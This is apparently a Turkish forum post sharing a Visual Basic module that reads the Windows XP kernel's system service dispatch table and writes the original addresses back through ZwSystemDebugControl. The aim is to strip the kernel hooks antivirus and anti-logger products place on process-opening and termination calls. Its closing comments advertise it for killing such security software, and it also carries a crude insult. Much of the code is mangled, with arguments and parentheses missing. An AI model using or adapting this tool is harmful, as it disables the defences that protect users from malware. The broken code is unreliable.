https://en. wikipedia. org/wiki/System_Service_Dispatch_Table

http://www.youtube.com/watch?v=dXDEcmhV4z8&feature=youtu. be itsin oglum sen adam degilsin

Option Explicit Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" As Long Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" As Long Private Declare Function FreeLibrary Lib "kernel32" As Long Private Declare Function GetProcAddress Lib "kernel32" As Long Private Declare Function ZwQuerySystemInformation Lib "ntdll. dll" As Long Private Declare Function ZwSystemDebugControl Lib "ntdll. dll" As Long Private Declare Function GetCurrentProcess Lib "kernel32" As Long Private Declare Function OpenProcessToken Lib "advapi32. dll" As Long Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" As Long Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, ByRef NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, Optional ByVal PreviousState As Long = 0, Optional ByVal ReturnLength As Long = 0) As Long Private Declare Function CloseHandle Lib "kernel32" As Long Private Type TOKEN_PRIVILEGES Count As Long LowPart As Long HighPart As Long Attributes As Long End Type Public Enum SYSDBG_COMMAND SysDbgReadVirtualMemory = 8 SysDbgWriteVirtualMemory = 9 End Enum Public Enum SYSTEM_INFORMATION_CLASS SystemModuleInformation = 11 End Enum Private Type IMAGE_DOS_HEADER e_magic As Integer Unused(0 To 57) As Byte e_lfanew As Long End Type Private Type IMAGE_NT_HEADER Signature As Long Unused1(0 To 15) As Byte SizeOfOptionalHeader As Integer Characteristics As Integer Magic As Integer Unused3(0 To 25) As Byte ImageBase As Long Unused4(0 To 23) As Byte SizeOfImage As Long Unused5(0 To 31) As Byte NumberOfRvaAndSizes As Long ExportTableRva As Long ExportTableSize As Long Unused6(0 To 31) As Byte RelocationTableRva As Long RelocationTableSize As Long End Type Private Type IMAGE_EXPORT_DIRECTORY Unused(0 To 11) As Byte Name As Long Base As Long NumberOfFunctions As Long NumberOfNames As Long AddressOfFunctions As Long AddressOfNames As Long AddressOfOrdinals As Long End Type Private Type IMAGE_BASE_RELOCATION VirtualAddress As Long SizeOfBlock As Long End Type Private Type IMAGE_FIXED_ENTRY Offset As Long Type As Long End Type Private Type ModuleInformation Reserved(7) As Byte Base As Long Size As Long Flags As Long Index As Integer Unknown As Integer Loadcount As Integer ModuleNameOffset As Integer ImageName(255) As Byte End Type Private Type MEMORY_CHUNKS Address As Long pData As Long Length As Long End Type Private Const DONT_RESOLVE_DLL_REFERENCES As Long = 1 Private Const IMAGE_REL_BASED_HIGHLOW As Long = 3 Private Const IMAGE_FILE_RELOCS_STRIPPED As Integer = 1 Public FuncName(1023) As String, Address1(1023) As Long, Address2(1023) As Long, ModuleName(1023) As String Dim dwServices As Long, dwKernelBase As Long, dwKiServiceTable As Long Public Sub RecoverSSDT Address2 = Address1 End Sub Public Sub WriteSSDT Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long With QueryBuff. Address = dwKiServiceTable + dwKernelBase. pData = VarPtr(Address2(0)) . Length = dwServices 4 ZwSystemDebugControl SysDbgWriteVirtualMemory, VarPtr , 12, 0, 0, VarPtr 'If ReturnLength <> . Length Then MsgBox " e§Ü!", vbCritical End With End Sub Private Function ModuleInformationFromPtr As ModuleInformation CopyMemory VarPtr , pmi, 284 End Function Public Sub EnableDebugPrivilege Dim hProcess As Long, hToken As Long, pTokenPrivilege As TOKEN_PRIVILEGES hProcess = GetCurrentProcess Assert OpenProcessToken(hProcess, &H28, hToken) = 1 Assert LookupPrivilegeValue(0, "SeDebugPrivilege", VarPtr + 4) = 1 With pTokenPrivilege. Count = 1. Attributes = 2 End With Assert AdjustTokenPrivileges(hToken, 0, pTokenPrivilege, 16) = 1 Assert CloseHandle = 1 End Sub Private Function BaseRelocationFromPtr As IMAGE_BASE_RELOCATION CopyMemory VarPtr , pbr, 8 End Function Private Function WordFromPtr As Long CopyMemory VarPtr , pword, 2 End Function Private Function FindKiServiceTable As Long Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER Dim pbr As Long, pfe As Long, bFirstChunk As Boolean, i As Long, forto As Long Dim dwFixups As Long, dwPointerRva As Long, dwPointsToRva As Long CopyMemory VarPtr , hModule, 64 With DosHeader Assert. e_magic = &H5A4D CopyMemory VarPtr , hModule + . e_lfanew, 168 End With With NtHeader Assert. Signature = &H4550 Assert. Magic = &H10B Assert. SizeOfOptionalHeader >= 144 Assert. NumberOfRvaAndSizes >= 6 Assert. RelocationTableRva <> 0 Assert = 0) pbr = . RelocationTableRva + hModule End With bFirstChunk = True Do While bFirstChunk Or CBool(BaseRelocationFromPtr . VirtualAddress) bFirstChunk = False pfe = pbr + 8 forto = (BaseRelocationFromPtr . SizeOfBlock - 8) \ 2 - 1 For i = 0 To forto If FixedEntryFromPtr . Type = IMAGE_REL_BASED_HIGHLOW Then dwFixups = dwFixups + 1 dwPointerRva = BaseRelocationFromPtr . VirtualAddress + FixedEntryFromPtr . Offset dwPointsToRva = DwordFromPtr - NtHeader. ImageBase If dwPointsToRva = dwKSDT Then If WordFromPtr(hModule + dwPointerRva - 2) = &H5C7 Then FindKiServiceTable = DwordFromPtr(hModule + dwPointerRva + 4) - NtHeader. ImageBase Exit Function End If End If End If pfe = pfe + 2 Next pbr = pbr + BaseRelocationFromPtr . SizeOfBlock Loop End Function Private Function AddZero As String AddZero = String(Length - Len , "0") & Text End Function Private Function FixedEntryFromPtr As IMAGE_FIXED_ENTRY Dim tmp As Integer CopyMemory VarPtr , pfe, 2 FixedEntryFromPtr. Offset = tmp And 4095 CopyMemory VarPtr , pfe + 1, 1 FixedEntryFromPtr. Type = (tmp And 240) \ 16 End Function Private Function DwordFromPtr As Long CopyMemory VarPtr , pdword, 4 End Function Public Sub GetSSDT On Error Resume Next Dim i As Long, j As Long, Length As Long, Buff As Byte, pKernelName As Long, hKernel As Long Dim dwKSDT As Long, pService As Long, DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER dwServices = 0 ZwQuerySystemInformation SystemModuleInformation, 0, 0, VarPtr ReDim Buff(Length - 1) ZwQuerySystemInformation SystemModuleInformation, VarPtr(Buff(0)), Length, 0 With ModuleInformationFromPtr(VarPtr(Buff(4))) dwKernelBase = . Base pKernelName = VarPtr(. ImageName(0)) + . ModuleNameOffset End With hKernel = LoadLibraryEx(pKernelName, 0, DONT_RESOLVE_DLL_REFERENCES) dwKSDT = GetProcAddress Assert dwKSDT <> 0 dwKSDT = dwKSDT - hKernel dwKiServiceTable = FindKiServiceTable Assert dwKiServiceTable <> 0 CopyMemory VarPtr , hKernel, 64 With DosHeader Assert. e_magic = &H5A4D CopyMemory VarPtr , hKernel + . e_lfanew, 168 End With With NtHeader Assert. Signature = &H4550 Assert. Magic = &H10B End With pService = hKernel + dwKiServiceTable Do While DwordFromPtr - NtHeader. ImageBase < NtHeader. SizeOfImage Address1 = DwordFromPtr - NtHeader. ImageBase + dwKernelBase pService = pService + 4 dwServices = dwServices + 1 Loop FreeLibrary hKernel Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long With QueryBuff. Address = dwKernelBase + dwKiServiceTable. pData = VarPtr(Address2(0)) . Length = dwServices 4 End With ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr , 12, 0, 0, VarPtr Length = DwordFromPtr(VarPtr(Buff(0))) For i = 0 To Length - 1 With ModuleInformationFromPtr(VarPtr(Buff(i 284 + 4))) For j = 0 To dwServices - 1 If Address2 >= . Base And Address2 < . Base + . Size Then ModuleName = StringFromPtr(VarPtr(. ImageName(0))) End If Next End With Next End Sub Private Function StringFromPtr As String Dim Buff As Byte, Length As Long Length = lstrlen If Length = 0 Then Exit Function ReDim Buff(Length - 1) CopyMemory VarPtr(Buff(0)), pString, Length StringFromPtr = StrConv End Function Public Function ReadMemory As Byte Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long, Buff As Byte ReDim Buff(Length - 1) With QueryBuff. Address = Address. pData = VarPtr(Buff(0)) . Length = Length End With ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr , 12, 0, 0, VarPtr If ReturnLength = Length Then ReadMemory = Buff End Function Public Sub Assert If Not bBool Then MsgBox "Assertion Failed!", vbCritical, "Error" End End If End Sub Public Sub FindNtdllExport Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER, ExportDirectory As IMAGE_EXPORT_DIRECTORY Dim i As Long, hNtdll As Long, FuncRVA As Long, NameRVA As Long, Ordinal As Integer, ThisName As String, ThisNumber As Long hNtdll = GetModuleHandle Assert hNtdll <> 0 CopyMemory VarPtr , hNtdll, 64 With DosHeader Assert. e_magic = &H5A4D CopyMemory VarPtr , hNtdll + . e_lfanew, 128 End With With NtHeader Assert. Signature = &H4550 Assert. Magic = &H10B Assert. SizeOfOptionalHeader >= 104 Assert. NumberOfRvaAndSizes >= 1 Assert. ExportTableSize >= 40 CopyMemory VarPtr , hNtdll + . ExportTableRva, 40 End With With ExportDirectory Assert StringFromPtr = "ntdll. dll" ReDim FuncRVA , NameRVA(. NumberOfNames - 1), Ordinal(. NumberOfNames - 1) CopyMemory VarPtr(FuncRVA(0)), hNtdll + . AddressOfFunctions + . Base 4, 4 CopyMemory VarPtr(NameRVA(0)), hNtdll + . AddressOfNames, . NumberOfNames 4 CopyMemory VarPtr(Ordinal(0)), hNtdll + . AddressOfOrdinals, . NumberOfNames 2 For i = 0 To. NumberOfNames - 1 ThisName = StringFromPtr(hNtdll + NameRVA If Left(ThisName, 2) = "Nt" Then ThisNumber = DwordFromPtr(FuncRVA(Ordinal - . Base) + hNtdll + 1) If ThisNumber >= 0 And ThisNumber < . NumberOfNames Then FuncName = ThisName End If End If Next End With End Sub sub main Dim i As Long EnableDebugPrivilege FindNtdllExport GetSSDT ' SSDT TAblosuna Git For i = 1 To UBound(Address1) RecoverSSDT i - 1 'Apileri Geri Yukle ' Next WriteSSDT end sub'Burdan Sonrasını Almayin//////////////////////////////////////// 'Kod Eski oldugu ıcın sadece Xp de calısır Win7 de Çalişmaz Xp de sorunsz çalişiyor 'A, v A, L Gibi Guvenlık yazılımlarının OpenProcess, Terminate Process Gibi Çekirdekten Kancalanmiş Apileri Sürücü kurma Gereksimi Olmadan çzer 'Bu Kodu Kullanarak Xp ' de Antivirusler ve Antiloggerlari Sorunsuz Killeyebilirsiniz 'Belki Mürit Kardeşlerimin işine yarar diye paylasıyorum itsin oglum sen adam degilsin